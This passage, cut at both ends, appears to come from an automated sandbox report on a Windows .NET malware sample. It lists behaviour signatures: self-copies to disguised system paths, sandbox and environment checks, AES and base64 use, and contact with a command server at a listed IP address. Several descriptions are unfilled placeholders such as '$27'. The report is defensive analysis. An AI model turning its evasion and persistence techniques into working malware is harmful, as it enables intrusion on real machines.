\"00000000-00005812.00000001.135828.00660000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005812.00000001.135828.006C0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005812.00000001.135828.006F0000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\root\\cimv2; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string - \\\\.\\root\\cimv2:Win32_Process; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00003900.00000001.137884.007C0000.00000004.mdmp\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00004000.00000001.134249.008D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"ToBase64String\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"8B744166EECACE320158F4D0F704B13E.exe\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform symmetric encryption (Dotnet)","description":"Observed namespace \"System.Security.Cryptography.SymmetricAlgorithm\" and TypeReference \"CreateEncryptor\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-165","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"C:\\Windows\\System32\\msvcp140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$28","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$29","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2a","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Contacts server\n Matched sigs: Spawned process connects to a network","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"findstr.exe\" (Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"C:\\Windows\\System32\\findstr.exe\" (Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003772-00000C29-1096452878\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003772-00000C29-1097731004\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003772)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"IsWow64Process\" with parameter \"3772\" - (UID: 00000000-00003772)\n \"mobsync.exe\" called \"IsWow64Process\" with parameter \"4000\" - (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"mobsync.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"mobsync.exe\" called \"GetWindowTextW\" (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003772)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"OpenMutexW\" with parameter \"a8e83276d80e5deb5e45080c8142f7c203b96267\" - (UID: 00000000-00003772)\n \"mobsync.exe\" called \"OpenMutexW\" with parameter \"a8e83276d80e5deb5e45080c8142f7c203b96267\" - (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003772)\n \"mobsync.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"mobsync.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function \"ExpandEnvironmentVariables\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"GetEnvironmentVariable\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information (Dotnet)","description":"Observed function \"get_SystemDirectory\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"get_OSVersion\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"get_Is64BitOperatingSystem\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"get_MachineName\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed function \"get_UserName\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to get active window titles (Dotnet)","description":"Observed Namespace \"System.Diagnostics.Process\" and MemberReference \"get_MainWindowTitle\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1010","relevance":1,"id":"static-148","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"mobsync.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve current user details (Dotnet)","description":"Observed Namespace \"System.Security.Principal.WindowsIdentity\" and MemberReference \"GetCurrent\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1033","relevance":1,"id":"static-152","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network adapter information (Dotnet)","description":"Observed namespace \"System.Net.NetworkInformation\" and TypeReference \"NetworkInterface\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1016","relevance":1,"id":"static-137","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00001400.00000000.139092.00690000.00000004.mdmp\n 00000000-00001400.00000001.139922.00690000.00000004.mdmp\n Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00003772.00000000.132948.000C0000.00000004.mdmp\n 00000000-00003772.00000001.133404.000C0000.00000004.mdmp\n Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00003900.00000000.137068.00330000.00000004.mdmp\n 00000000-00003900.00000001.137884.00330000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"nslookup.exe\" (Indicator: \"nslookup\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"C:\\Windows\\System32\\nslookup.exe\" (Indicator: \"nslookup\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"TRACERT.EXE\" (Indicator: \"tracert\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found string \"C:\\Windows\\System32\\TRACERT.EXE\" (Indicator: \"tracert\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" queries volume information of \"C:\\8B744166EECACE320158F4D0F704B13E.exe\" at 00000000-00003772-0000010C-3903851\n \"mobsync.exe\" queries volume information of \"C:\\Windows\\System32\\ntdll\\mobsync.exe\" at 00000000-00004000-0000010C-2526337\n \"smss.exe\" queries volume information of \"C:\\ProgramData\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe\" at 00000000-00005812-0000010C-3095067\n \"explorer.exe\" queries volume information of \"C:\\Windows\\py\\explorer.exe\" at 00000000-00003900-0000010C-3904963\n \"mobsync.exe\" queries volume information of \"C:\\Windows\\System32\\ntdll\\mobsync.exe\" at 00000000-00001400-0000010C-2522462","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mobsync.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"mobsync.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MOBSYNC.EXE\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\MOBSYNC.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"CopyFileW\" to copy C:\\8B744166EECACE320158F4D0F704B13E.exe to new location %WINDIR%\\System32\\ntdll\\mobsync.exe (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CopyFileW\" to copy C:\\8B744166EECACE320158F4D0F704B13E.exe to new location %WINDIR%\\py\\explorer.exe (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CopyFileW\" to copy C:\\8B744166EECACE320158F4D0F704B13E.exe to new location %ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe (UID: 00000000-00003772)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateDirectoryW\" with parameter %WINDIR%\\System32\\ntdll (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateDirectoryW\" with parameter %WINDIR%\\py (UID: 00000000-00003772)\n \"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00003772)\n \"mobsync.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00004000)\n \"mobsync.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00004000)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\ntdll\\mobsync.exe\"\" - (UID: 00000000-00003772)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00003900.00000001.137884.007C0000.00000004.mdmp\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00004000.00000001.134249.008D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"78.24.221.196:80\"\n \"78.24.221.196:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to download files with network (Dotnet)","description":"Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadFile\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadData\" in \"8B744166EECACE320158F4D0F704B13E.exe\"\n Observed Namespace \"System.Net.WebClient\" and MemberReference \"DownloadString\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1105","relevance":1,"id":"static-99","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"ShowWindow\"; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API (Indicator: \"GetErrorInfo\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")\n Found reference to API (Indicator: \"GetTempFileName\"; Source: \"00000000-00003900.00000001.137884.007C0000.00000004.mdmp\")\n Found reference to API (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004000.00000000.133715.01F80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to execute application (Dotnet)","description":"Observed function \"set_UseShellExecute\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-108","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API \"Win32API|Process and Thread Structures|STARTUPINFO|wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp, 00000000-00003772.00000001.133404.008F0000.00000004.mdmp, 00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.set_StartInfo\" in \"8B744166EECACE320158F4D0F704B13E.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 00000000-00003772.00000001.133404.000C0000.00000004.mdmp\n \":\\Users\\HAPUBWS\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini\" (Indicator: \":\\users\\hapubws\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini\") in Source: 